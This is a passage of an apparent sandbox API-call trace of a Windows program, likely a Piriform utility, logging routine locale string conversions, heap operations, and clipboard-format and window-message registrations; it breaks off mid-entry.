!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ陥LĀ") returned 256 [0206.046] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ陥LĀ", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0206.046] GetLastError () returned 0x0 [0206.046] SetLastError (dwErrCode=0x0) [0206.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0206.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0206.046] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0206.046] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0206.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x19fc5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x18ìý¢\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0206.046] GetLastError () returned 0x0 [0206.046] SetLastError (dwErrCode=0x0) [0206.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0206.046] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0206.046] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0206.046] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0206.047] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19fb5c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x18ìý¢\x94þ\x19", lpUsedDefaultChar=0x0) returned 256 [0206.047] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0206.047] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0206.047] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.047] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4c5f5c) returned 0x0 [0206.047] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.048] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.048] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.048] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x18) returned 0x2861a00 [0206.048] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x4) returned 0x2861a20 [0206.048] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x20) returned 0x2861a30 [0206.048] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x2) returned 0x2861a58 [0206.048] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x2861a58 | out: hHeap=0x2860000) returned 1 [0206.048] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x2) returned 0x2861a58 [0206.048] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.048] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x4) returned 0x2861a68 [0206.049] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x18) returned 0x2861a78 [0206.049] GetLastError () returned 0x0 [0206.049] SetLastError (dwErrCode=0x0) [0206.049] GetLastError () returned 0x0 [0206.049] SetLastError (dwErrCode=0x0) [0206.049] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0xd8) returned 0x2862920 [0206.049] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x355) returned 0x2862a00 [0206.049] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x2862a00 | out: hHeap=0x2860000) returned 1 [0206.050] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x2) returned 0x2861a98 [0206.050] GetLastError () returned 0x0 [0206.050] SetLastError (dwErrCode=0x0) [0206.050] GetLastError () returned 0x0 [0206.051] SetLastError (dwErrCode=0x0) [0206.051] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0xd8) returned 0x2862a00 [0206.051] GetLastError () returned 0x0 [0206.051] SetLastError (dwErrCode=0x0) [0206.051] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x355) returned 0x2862ae0 [0206.051] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x2862ae0 | out: hHeap=0x2860000) returned 1 [0206.052] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x2862920 | out: hHeap=0x2860000) returned 1 [0206.052] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x2) returned 0x2861aa8 [0206.052] GetLastError () returned 0x0 [0206.052] SetLastError (dwErrCode=0x0) [0206.052] GetLastError () returned 0x0 [0206.052] SetLastError (dwErrCode=0x0) [0206.052] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0x200) returned 0x2862ae0 [0206.052] GetLastError () returned 0x0 [0206.052] SetLastError (dwErrCode=0x0) [0206.052] GetLastError () returned 0x0 [0206.052] SetLastError (dwErrCode=0x0) [0206.052] GetLastError () returned 0x0 [0206.052] SetLastError (dwErrCode=0x0) [0206.052] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x8, Size=0xd8) returned 0x2862920 [0206.052] GetLastError () returned 0x0 [0206.052] SetLastError (dwErrCode=0x0) [0206.052] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x355) returned 0x2862ce8 [0206.053] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x2862ce8 | out: hHeap=0x2860000) returned 1 [0206.054] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x2862a00 | out: hHeap=0x2860000) returned 1 [0206.054] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x2861aa8 | out: hHeap=0x2860000) returned 1 [0206.054] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x2861a98 | out: hHeap=0x2860000) returned 1 [0206.055] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x8) returned 0x2861a98 [0206.055] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.055] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.055] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.055] GetProcessHeap () returned 0xad0000 [0206.055] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.055] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.055] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.056] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.056] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.056] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.056] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.056] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.056] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.056] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.057] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.057] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.057] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.057] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.057] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.057] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.057] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.057] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.058] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.058] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.058] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76720000 [0206.058] GetProcAddress (hModule=0x76720000, lpProcName="CreateHardLinkW") returned 0x76760710 [0206.058] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76720000 [0206.059] GetProcAddress (hModule=0x76720000, lpProcName="CreateSymbolicLinkW") returned 0x76760830 [0206.059] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.059] RegisterClipboardFormatW (lpszFormat="ACTIVATION_EVENTS_WINDOW_MESSAGE") returned 0xc1e3 [0206.059] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.059] RegisterClipboardFormatW (lpszFormat="VIRTUAL_CHECK_CHANGED_WINDOW_MESSAGE") returned 0xc1df [0206.060] RegisterClipboardFormatW (lpszFormat="Piriform::Breakpad::CKeyboardHook::Message::B4E8893A-C6C1-4c98-BFFC-B81923F8C77D") returned 0xc14b [0206.060] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.060] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressState") returned 0xc1dd [0206.060] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressValue") returned 0xc1de [0206.060] RegisterClipboardFormatW (lpszFormat="ACTIVATION_EVENTS_WINDOW_MESSAGE") returned 0xc1e3 [0206.060] RegisterClipboardFormatW (lpszFormat="TASKBAR_NOTIFIER_CLICKED_MESSAGE") returned 0xc1dc [0206.061] RegisterClipboardFormatW (lpszFormat="IDENTITY_EVENTS_WINDOW_MESSAGE") returned 0xc1e5 [0206.061] RegisterClipboardFormatW (lpszFormat="TaskbarButtonCreated") returned 0xc092 [0206.061] RegisterClipboardFormatW (lpszFormat="TASKBAR_NOTIFIER_CLICKED_MESSAGE") returned 0xc1dc [0206.061] RegisterClipboardFormatW (lpszFormat="IDENTITY_EVENTS_WINDOW_MESSAGE") returned 0xc1e5 [0206.061] RegisterClipboardFormatW (lpszFormat="Piriform::Breakpad::CKeyboardHook::Message::B4E8893A-C6C1-4c98-BFFC-B81923F8C77D") returned 0xc14b [0206.061] RegisterClipboardFormatW (lpszFormat="Piriform::Breakpad::CKeyboardHook::Message::B4E8893A-C6C1-4c98-BFFC-B81923F8C77D") returned 0xc14b [0206.061] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.061] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.062] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862898) returned 0x80 [0206.062] RtlReAllocateHeap (Heap=0x2860000, Flags=0x0, Ptr=0x2862898, Size=0x100) returned 0x2862ce8 [0206.062] RegisterClipboardFormatW (lpszFormat="EVENTS_WINDOW_MESSAGE") returned 0xc1e6 [0206.062] RegisterClipboardFormatW (lpszFormat="RULES_EVENTS_WINDOW_MESSAGE") returned 0xc1e7 [0206.062] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.062] RegisterClipboardFormatW (lpszFormat="VIRTUAL_CHECK_CHANGED_WINDOW_MESSAGE") returned 0xc1df [0206.062] RegisterClipboardFormatW (lpszFormat="Piriform::Breakpad::CKeyboardHook::Message::B4E8893A-C6C1-4c98-BFFC-B81923F8C77D") returned 0xc14b [0206.062] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.062] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressState") returned 0xc1dd [0206.062] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressValue") returned 0xc1de [0206.063] RegisterClipboardFormatW (lpszFormat="ACTIVATION_EVENTS_WINDOW_MESSAGE") returned 0xc1e3 [0206.063] RegisterClipboardFormatW (lpszFormat="TASKBAR_NOTIFIER_CLICKED_MESSAGE") returned 0xc1dc [0206.063] RegisterClipboardFormatW (lpszFormat="IDENTITY_EVENTS_WINDOW_MESSAGE") returned 0xc1e5 [0206.063] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.063] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.063] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.063] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.063] GetDC (hWnd=0x0) returned 0xa0100d0 [0206.064] GetDeviceCaps (hdc=0xa0100d0, index=88) returned 96 [0206.064] GetDeviceCaps (hdc=0xa0100d0, index=90) returned 96 [0206.064] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0206.065] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.065] RegisterClipboardFormatW (lpszFormat="TASKBAR_NOTIFIER_CLICKED_MESSAGE") returned 0xc1dc [0206.065] RegisterClipboardFormatW (lpszFormat="EVENTS_WINDOW_MESSAGE") returned 0xc1e6 [0206.065] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.065] RegisterClipboardFormatW (lpszFormat="EVENTS_WINDOW_MESSAGE") returned 0xc1e6 [0206.065] RegisterClipboardFormatW (lpszFormat="EVENTS_WINDOW_MESSAGE") returned 0xc1e6 [0206.065] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.065] RegisterClipboardFormatW (lpszFormat="VIRTUAL_CHECK_CHANGED_WINDOW_MESSAGE") returned 0xc1df [0206.065] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.065] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressState") returned 0xc1dd [0206.065] RegisterClipboardFormatW 